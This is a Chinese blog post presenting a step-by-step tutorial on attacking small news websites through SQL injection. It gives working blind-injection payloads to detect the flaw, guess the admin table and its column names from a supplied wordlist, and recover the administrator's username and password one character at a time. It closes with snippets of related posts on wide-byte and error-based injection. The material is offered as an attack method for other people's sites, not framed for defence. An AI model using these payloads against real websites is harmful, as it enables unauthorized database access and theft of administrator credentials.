SQL注入

2021-04-24 16:02:18 字數 2270 閱讀 9126

一般國內的小一點的新聞站點程式

都有""&request

這種漏洞,下面我講解攻擊方法

在位址列:

and 1=1

檢視漏洞是否存在

,如果存在就正常返回該頁

,如果沒有

,則顯示錯誤,繼續假設這個站的資料庫存在乙個

admin

表在位址列:

and 0<>(select count(*) from admin)

返回頁正常

,假設成立了。

下面來猜猜看一下管理員表裡面有幾個管理員id:

and 1<(select count(*) from admin)

頁面什麼都沒有。管理員的數量等於或者小於1個

and 1=(select count(*) from admin)

輸入=1

沒顯示錯誤,說明此站點只有乙個管理員。

下面就是要繼續猜測

admin

裡面關於管理員使用者名稱和密碼的欄位名稱。

and 1=(select count(*) from admin where len(username)>0)

猜解錯誤

!不存在

username

這個字段。只要一直改變括號裡面的

username

這個字段

,下面給大家幾個常用的

user,users,member,members,userlist,memberlist,userinfo,admin,manager,

使用者,yonghu

使用者名字段猜解完成之後繼續猜解密碼字段

and 1=(select count(*) from admin where len(password)>0)

password

字段存在!因為密碼字段一般都是這個拉

,如果不是就試試

pass

如果還不是就自己想想吧

我們已經知道了管理員表裡面有

3個字段

id,user,password

。id

編號user

使用者名稱password

密碼下面繼續的就是管理員使用者名稱和密碼的猜解了。乙個乙個來

,有點麻煩

,最好找個猜解機來

先猜出長度

! and 1=(select count(*) from admin where len(user)<10)

user

字段長度小於

10 and 1=(select count(*) from admin where len(user)<5)

user

字段長度不小於

5 慢慢的來

,最後猜出長度等於

6,請看下面

,返回正常就說明猜解正確

and 1=(select count(*) from admin where len(user)=6)

下面猜密碼

, and 1=(select count(*) from admin where len(password)=10)

猜出來密碼10位

,不要奇怪

,現在網管都有防備的

,所以密碼上

20位也不太奇怪了

下面該做的就是把他們拆開來乙個乙個猜字母

and 1=(select count(*) from admin where left(user,1)=a)

返回正常,第一位字母等於

a,千萬不要把大寫和小寫給搞錯了哦

~~呵呵

,如果不

a就繼續猜其他的字元落

,反正猜到返回正常就算ok了

開始猜解帳號的第二位字元。

and 1=(select count(*) from admin where left(user,2)=ad)

就這樣一次加乙個字元這樣猜

,猜到夠你剛才猜出來的多少位了就對了

,帳號就算出來了

工作還沒有完

,別忙著跑了,還有

10位密碼,呵呵

and 1=(select count(*) from admin where left(password,1)=a)

經過無數次錯誤之後

結果密碼是

administra

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...